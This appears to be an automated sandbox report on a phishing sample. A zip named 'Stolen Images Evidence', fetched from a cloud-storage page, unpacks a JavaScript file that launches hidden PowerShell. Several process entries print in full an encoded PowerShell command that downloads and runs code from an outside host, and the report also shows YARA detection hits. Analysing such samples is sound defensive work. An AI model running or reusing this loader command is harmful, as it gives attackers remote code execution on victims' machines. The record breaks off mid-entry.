X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-ViewerInfo, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout Access-Control-Allow-Methods: GET,OPTIONS Content-Type: application/zip Content-Disposition: attachment;filename="Stolen Images Evidence.zip";filename*=UTF-8''Stolen%20Images%20Evidence.zip Content-Length: 5511 Date: Mon, 18 Oct 2021 20:45:49 GMT Expires: Mon, 18 Oct 2021 20:45:49 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=bDMznQ== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-10-18 20:45:49 UTC	106	IN	Data Raw: 50 4b 03 04 14 00 02 00 08 00 b6 a5 52 53 09 82 bc 17 f3 14 00 00 20 48 00 00 19 00 00 00 53 74 6f 6c 65 6e 20 49 6d 61 67 65 73 20 45 76 69 64 65 6e 63 65 2e 6a 73 95 3b 5b 77 aa ba ba ef e7 57 cc 3d f6 83 ed 9a 9d 7b 91 00 2a a7 a3 0f de ab 55 5b 51 40 59 7b 8d 33 80 80 5a d1 3a ab 56 ed 1a f3 bf 9f 24 04 8c 04 ba 58 0f 25 10 be fb 2d 5f 82 fd 70 de bf fd 9f 74 82 be aa 39 e0 01 df b9 b0 ea dd 7f 44 b3 aa e4 29 6a 39 3d ab 38 48 2b 4b 02 ac 57 06 4e 25 3d 0b 51 05 04 8e 30 eb 49 55 a8 a5 67 41 50 56 54 35 99 bd 09 0e 1b 6f bf 7c db dc e0 19 59 81 4e 80 ee 08 54 45 0e a0 7b fb 17 43 92 81 a6 fa 82 e0 10 48 7e 55 10 46 95 25 b7 ea 0a ea 00 a4 01 55 54 dd 75 a1 27 88 a8 01 1f c9 02 b7 8a 57 a9 2a 02 5d e8 28 41 f0 90 08 7f 73 7b 7f 5c 2c 43 ff e6 5f ff fa Data Ascii: PKRS HStolen Images Evidence.js;[wW={U[Q@Y{3Z:V$X%-_pt9D)j9=8H+KWN%=Q0IUgAPVT5o\|YNTE{CH~UF%UTu'W](As{\,C_
2021-10-18 20:45:49 UTC	110	IN	Data Raw: f6 c2 6d 10 19 43 bc a9 5f cc bc ce 30 b4 25 f4 34 59 99 07 cf 34 0d bd 5d 5b 4e c7 98 97 d5 3e 7a 9d f0 60 cb 83 e5 f3 b2 07 50 6b 58 1f 19 ed 7a 1f 3b 8e 8e ad 01 b6 cf a2 13 df 3b 50 6d e1 fb 77 5b ea ee 74 a9 5d 1f 8f 4f 4d fc dc 1e 9d 4f 66 0c a3 e3 71 84 e7 fb cd 1e a3 61 62 9a b3 dd 08 c3 23 8c 37 c1 73 13 63 b0 33 f0 f3 64 49 f1 27 7d ca d7 d8 8d f1 bb 31 79 17 d3 a0 b8 6f 14 57 a7 b0 43 e8 18 bd 26 2f df 60 bd 18 45 f7 98 86 d4 a2 74 0d 29 a2 6f 36 08 4e 0b 8e 56 d1 f3 10 f3 27 b4 6c 49 6f f6 db 18 de 5a b4 28 9e a5 b5 a9 ae 92 4e e5 98 10 d9 a4 11 c5 a1 72 3c 86 cd 44 97 49 bd d1 6f 85 18 2e c4 38 20 91 cf 64 f0 56 83 c8 8d f0 7c 8b ce 0f 8c 88 e7 70 a5 3f f5 db 98 de 04 45 3c cd 1a a7 57 0b ea 2b 69 67 33 bd 89 8d 47 ab b7 84 3f 7e fe 18 ad 8e Data Ascii: mC_0%4Y4][N>z`PkXz;;Pmw[t]OMOfqab#7sc3dI'}1yoWC&/`Et)o6NV'lIoZ(Nr<DIo.8 dV\|p?E<W+ig3G?~

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49798	172.217.168.14	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-18 20:45:59 UTC	111	OUT	GET /nonceSigner?nonce=e7j16a2kasg3e&continue=https://doc-0k-3c-docs.googleusercontent.com/docs/securesc/hcue5o0sqp41v6uc8cr49rhddquntu8g/mtvptcmevd2ocn9hi3nttjunvchc3gtu/1634589900000/10323111707164989971/04457783464220248333Z/1mXaX8y3AKJF9JH4xyHqQlJuOFdvdJ4AG?e%3Ddownload&hash=237fjk8ru9cmmscc9rqktp4m1g276qu1 HTTP/1.1 Host: docs.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=sFkyh8TNDoqjk-6jojhxegmarO_i7P1sbiNqeOZenBbKL_O6SeMPI3ySmcb6yEHnZBgstPXYCC9NkQH9rM1dzqXKouG2AOZv75PCV88nj8uRqVmE2jSLJt1Gegh2fd4SNCTOy9zyWdvHs05zuR2NtnYBx3cEaCsFUB2V3Y-8NKk
2021-10-18 20:45:59 UTC	112	IN	HTTP/1.1 302 Found Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 18 Oct 2021 20:45:59 GMT Location: https://doc-0k-3c-docs.googleusercontent.com/docs/securesc/hcue5o0sqp41v6uc8cr49rhddquntu8g/mtvptcmevd2ocn9hi3nttjunvchc3gtu/1634589900000/10323111707164989971/04457783464220248333Z/1mXaX8y3AKJF9JH4xyHqQlJuOFdvdJ4AG?e=download&nonce=e7j16a2kasg3e&user=04457783464220248333Z&hash=vm345lkau40cl5qr6oegpkq68u154lcv Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-uDTk9mq1VNOHE7PEmMsURQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentSignerHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'nonce-uDTk9mq1VNOHE7PEmMsURQ' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentSignerHttp/cspreport Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentSignerHttp/cspreport Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exe PID: 4724 Parent PID: 3536

General

Start time:	22:45:38
Start date:	18/10/2021
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation 'https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721#'
Imagebase:	0x7ff677c70000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: chrome.exe PID: 2876 Parent PID: 4724

General

Start time:	22:45:40
Start date:	18/10/2021
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1556,11587432688044278777,2975671469201023268,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1940 /prefetch:8
Imagebase:	0x7ff677c70000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: chrome.exe PID: 7012 Parent PID: 4724

General

Start time:	22:45:50
Start date:	18/10/2021
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1556,11587432688044278777,2975671469201023268,131072 --lang=en-US --service-sandbox-type=none --enable-audio-service-sandbox --mojo-platform-channel-handle=5896 /prefetch:8
Imagebase:	0x7ff677c70000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: unarchiver.exe PID: 6684 Parent PID: 4724

General

Start time:	22:45:53
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\unarchiver.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\SysWOW64\unarchiver.exe' 'C:\Users\user\Downloads\Stolen Images Evidence.zip'
Imagebase:	0x980000
File size:	10240 bytes
MD5 hash:	DB55139D9DD29F24AE8EA8F0E5606901
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Analysis Process: 7za.exe PID: 6068 Parent PID: 6684

General

Start time:	22:45:56
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\7za.exe' x -pinfected -y -o'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd' 'C:\Users\user\Downloads\Stolen Images Evidence.zip'
Imagebase:	0x7ff797770000
File size:	289792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 768 Parent PID: 6068

General

Start time:	22:45:57
Start date:	18/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: chrome.exe PID: 6388 Parent PID: 4724

General

Start time:	22:45:59
Start date:	18/10/2021
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1556,11587432688044278777,2975671469201023268,131072 --lang=en-US --service-sandbox-type=none --enable-audio-service-sandbox --mojo-platform-channel-handle=4628 /prefetch:8
Imagebase:	0x7ff677c70000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: unarchiver.exe PID: 5892 Parent PID: 4724

General

Start time:	22:46:02
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\unarchiver.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\SysWOW64\unarchiver.exe' 'C:\Users\user\Downloads\Stolen Images Evidence (1).zip'
Imagebase:	0xa70000
File size:	10240 bytes
MD5 hash:	DB55139D9DD29F24AE8EA8F0E5606901
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Analysis Process: chrome.exe PID: 6692 Parent PID: 4724

General

Start time:	22:46:03
Start date:	18/10/2021
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1556,11587432688044278777,2975671469201023268,131072 --lang=en-US --service-sandbox-type=none --enable-audio-service-sandbox --mojo-platform-channel-handle=3644 /prefetch:8
Imagebase:	0x7ff677c70000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: 7za.exe PID: 3060 Parent PID: 5892

General

Start time:	22:46:04
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\7za.exe' x -pinfected -y -o'C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n' 'C:\Users\user\Downloads\Stolen Images Evidence (1).zip'
Imagebase:	0x270000
File size:	289792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 5596 Parent PID: 3060

General

Start time:	22:46:04
Start date:	18/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: unarchiver.exe PID: 1456 Parent PID: 4724

General

Start time:	22:46:07
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\unarchiver.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\SysWOW64\unarchiver.exe' 'C:\Users\user\Downloads\Stolen Images Evidence (2).zip'
Imagebase:	0xb60000
File size:	10240 bytes
MD5 hash:	DB55139D9DD29F24AE8EA8F0E5606901
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Analysis Process: 7za.exe PID: 6252 Parent PID: 1456

General

Start time:	22:46:10
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\7za.exe' x -pinfected -y -o'C:\Users\user\AppData\Local\Temp\s4fhf54g.u35' 'C:\Users\user\Downloads\Stolen Images Evidence (2).zip'
Imagebase:	0x270000
File size:	289792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 6972 Parent PID: 6252

General

Start time:	22:46:10
Start date:	18/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 6380 Parent PID: 6684

General

Start time:	22:46:10
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js'
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 2840 Parent PID: 6380

General

Start time:	22:46:11
Start date:	18/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: wscript.exe PID: 6820 Parent PID: 6380

General

Start time:	22:46:12
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js'
Imagebase:	0xdd0000
File size:	147456 bytes
MD5 hash:	7075DD7B9BE8807FCA93ACD86F724884
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 0000001B.00000003.319065824.0000000004C08000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 0000001B.00000002.319478544.0000000000757000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 0000001B.00000003.319072958.0000000004C08000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 0000001B.00000003.318706299.0000000004BF0000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 0000001B.00000003.318663458.0000000004BC7000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 0000001B.00000003.319099838.0000000000757000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 0000001B.00000002.319442825.0000000000700000.00000004.00000020.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 0000001B.00000003.319055361.0000000004C07000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 0000001B.00000003.318789480.0000000000757000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 0000001B.00000002.319559838.00000000009C7000.00000004.00000040.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 0000001B.00000002.320355712.00000000051F0000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 0000001B.00000003.318831605.0000000000757000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 0000001B.00000003.318740020.0000000004BF3000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 0000001B.00000003.318916447.0000000004C00000.00000004.00000001.sdmp, Author: Florian Roth
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 5400 Parent PID: 6820

General

Start time:	22:46:15
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 7032 Parent PID: 5400

General

Start time:	22:46:15
Start date:	18/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: powershell.exe PID: 5648 Parent PID: 5400

General

Start time:	22:46:16
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Imagebase:	0xc40000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 0000001E.00000002.430635881.00000000051CE000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 0000001E.00000002.427400397.00000000047E0000.00000004.00000040.sdmp, Author: Florian Roth Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation with suspicious parameters, Source: 0000001E.00000002.425667445.0000000002D80000.00000004.00000020.sdmp, Author: Florian Roth
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 1412 Parent PID: 5892

General

Start time:	22:46:20
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n\Stolen Images Evidence.js'
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 1100 Parent PID: 1412

General

Start time:	22:46:20
Start date:	18/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff797770000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: wscript.exe PID: 6888 Parent PID: 1412

General

Start time:	22:46:21
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n\Stolen Images Evidence.js'
Imagebase:	0xdd0000
File size:	147456 bytes
MD5 hash:	7075DD7B9BE8807FCA93ACD86F724884
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000003.338953199.00000000058D7000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000003.338024968.00000000058C0000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000002.341556001.0000000003486000.00000004.00000020.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000003.338092097.00000000058C3000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000003.338261142.00000000033B3000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000003.338978656.00000000058D8000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000002.341707289.00000000038C7000.00000004.00000040.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000003.338368985.000000000339A000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000003.338992712.00000000058D8000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000003.338616419.00000000058D0000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000002.341431601.00000000033B3000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000003.338407978.00000000033B3000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000003.339131237.00000000033B3000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000002.341360203.000000000339A000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000003.339069436.000000000339A000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000003.338230537.000000000339A000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000021.00000003.337942528.0000000005897000.00000004.00000001.sdmp, Author: Florian Roth
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 3540 Parent PID: 1456

General

Start time:	22:46:22
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\s4fhf54g.u35\Stolen Images Evidence.js'
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 6148 Parent PID: 3540

General

Start time:	22:46:23
Start date:	18/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 1324 Parent PID: 6888

General

Start time:	22:46:24
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: wscript.exe PID: 4840 Parent PID: 3540

General

Start time:	22:46:24
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
